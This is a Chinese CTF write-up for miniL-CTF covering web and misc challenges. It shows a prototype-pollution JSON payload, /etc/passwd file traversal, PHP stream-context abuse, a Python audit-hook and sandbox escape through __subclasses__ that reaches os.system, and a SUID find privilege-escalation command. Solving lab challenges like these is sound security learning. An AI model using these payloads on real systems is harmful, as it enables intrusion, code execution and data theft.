队伍名:f4_N3 最终排名 总榜:13 校内榜:2(本科第一)
只贴出了自己(fifker)做出的部分
web
1.GuessOneGuess
半个非预期了
根据附件源代码
if (totalScore > 1.7976931348623157e308) {
message += `\n🏴 ${FLAG}`;
showFlag = true;
}
```
```javascript
socket.on('punishment-response', (data) => {
totalScore -= data.score;
});
可以看到一个获得flag和惩罚的逻辑。
在输入错误第99次后,在控制台输入以下代码,把分数调整为-1.8e308。
(其实是因为这里js数字没办法这么大,想要超过e308只能通过无限,这里输入的不是一个数值,而是字符串,不过和预期解原理是一样的)
document.getElementById("score-display").textContent = "-1.8e308";

随后输入错误最后1次,通过”totalScore -= data.score”,分数被调整为1.8e308。(但是无法显示)

最后再做出一次正确的数字,触发获得flag的逻辑。

2.Clickclick
源代码审计后发现,点击10000次后会显示一行js代码:
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
并且每50次会通过update-amount路由,上传一个json文件来确定你的点击次数。
一开始想的是用0的字符串
{
"type": "set",
"point": {
"amount": "0"
}
}
回显”OK”,看起来不可行。
试了试原型链污染
{
"type": "set",
"point": {
"amount": 0,
"__proto__": {
"amount": 9999999
}
}
}
获得flag。
3.Miniup

dirsearch扫描发现/etc/passwd,想到文件穿越,尝试阅读
document.getElementById('filename').value = '/etc/passwd';
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
发现可以阅读文件后直接阅读源代码**index.php**
network获得回显并base64解码获得源代码。
代码审计
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

发现这个option是可以随意可控的,直接通过数组构造payload。

上传成功!
根目录没有看到东西,看看环境变量。

获得flag!
最后:这题真的坐牢了好久好久,第一天晚上就拿到源代码了,一直卡在PUT上传这个地方不知道怎么办。
4.PyBox
白盒,一开始还以为是友善的()
审计代码,首先这里过滤了很多字符,并且对输出长度做了限制:
badchars = "\"'|&`+-*/()[]{}_."
@app.route('/execute',methods=['POST'])
def execute():
text = request.form['text']
for char in badchars:
if char in text:
return Response("Error", status=400)
output=safe_exec(CODE.format(text))
if len(output)>5:
return Response("Error", status=400)
可以知道需要POST /execute发送text=xxx的表单格式才能执行
注意到这一行:
output=safe_exec(CODE.format(text))
safe_exec函数中有一行代码,把unicode escape转义字符转换为对应的原字符
def safe_exec(code: str, timeout=1):
code = code.encode().decode('unicode_escape')
所以可以把所有代码编码为\x+2位16进制数的格式来绕过限制,并且在safe_exec执行代码时都会解析成原来的字符
code部分包含了一个audithook审计,以及print函数,输入的代码通过format函数会直接插入到print函数的占位符
CODE = """
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(my_audit_checker)
print("{}")
"""
所以我们借鉴一下sql注入的思想,构造text=”);<python code>;#就能够执行中间的代码,并且可以通过Unicode编码来实现输入换行符,缩进等等,来执行多行代码。
接下来就要开始绕过audithook了,参考了dummykitty的博客,惊奇地发现内置函数什么的是可以直接篡改的,判断条件里有一个list函数,我们可以修改它:

代码中设置了一个safe builtins把原本的builtins给限制了,我们可以想到往上去获取原生的builtins。但是在code之外的ast,限制访问了一堆属性,为了解决这个问题,找到了两函数:

ast限制是字符串层面的,__getattribute__函数可以动态获取属性,绕过ast限制。

通过这个函数,我们可以向ai获得一个大概思路(不过ai非常不靠谱,错误百出):


#核心代码
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=='_wrap_close'][0]['system']('<shell_code>')
这里的__getattribute__函数必须得是Object类的,否则会报错。
__getattribute__函数实际上有两个参数,但是第一个默认是self所以使用的时候省略了,实际上可以把self替换成别的变量来访问对应的属性
我们先通过”.__class__获取<class ‘str’>,再通过string类的__init__函数得到Nonetype类(?),就可以用他的getattribute函数来访问之前那些属性了。
所以我们只需要遍历寻找_wrap_close就行了
整体代码如下:


终于弹出计算器了!getshell。
但是getshell后并非一帆风顺,首先读文件就是一个很大的问题,因为我们发现输出结果全会回显到服务器终端,压根看不到。
因此我们想到把结果写入一个txt文件中,然后一点一点读出来。
");__builtins__['len']=lambda x:0;__builtins__['list']=lambda x:['builtins.input','builtins.input/result','exec','compile','open','os.system'];a='';cls=a.__getattribute__('__class__');base=cls.__init__(a).__getattribute__('__class__').__getattribute__(cls,'__base__');subs=base.__getattribute__(base,'__subclasses__')();
for c in subs:
if '_wrap_close' in c.__name__:
g=c.__init__.__getattribute__('__globals__');
f=g['system']('ls / > 1.txt');
f=g['__builtins__']['open']('1.txt').read();
print('f[0:3]')#
突然想到我们都有写入的权限了,为什么不直接创建一个静态目录呢。
mkdir static
ls /-la > static/ls.txt

看到了一个bash文件和flag文件,用相同的方法把flag读入static/flag.txt,发现一片空白,因此被迫去看看entrypoint.sh。

到大门口了还缺把钥匙呢,root用户才有资格读flag文件,但是给了/usr/bin/find,可以轻而易举想到suid find提权。
r'/usr/bin/find.-exec cat /m1n1FL@G> static/flag.txt \;
MISC
1.麦霸评分
在网页上可以下载到歌曲的音频。
const input = document.createElement('input');
input.type = 'file';
input.accept = 'audio/wav';
input.style.display = 'none';
// 2. 监听文件选择
input.onchange = async (e) => {
const file = e.target.files[0];
if (!file) return;
// 3. 构造 FormData 并上传
const formData = new FormData();
formData.append('audio', file, 'recording.wav');
try {
const response = await fetch('/compare-recording', {
method: 'POST',
body: formData,
});
const result = await response.json();
console.log('上传结果:', result);
} catch (error) {
console.error('上传失败:', error);
}
};
// 4. 触发文件选择
document.body.appendChild(input);
input.click();
直接从控制台重新上传上去进行评分。

2.吃豆人
代码审计,得分条件就是5000分,游戏进行时发送一个json文件。
直接控制台发一个即可。

https://blog.f1fk3r.top/wp-content/uploads/2025/05/miniL-CTF-WriteUp.pdf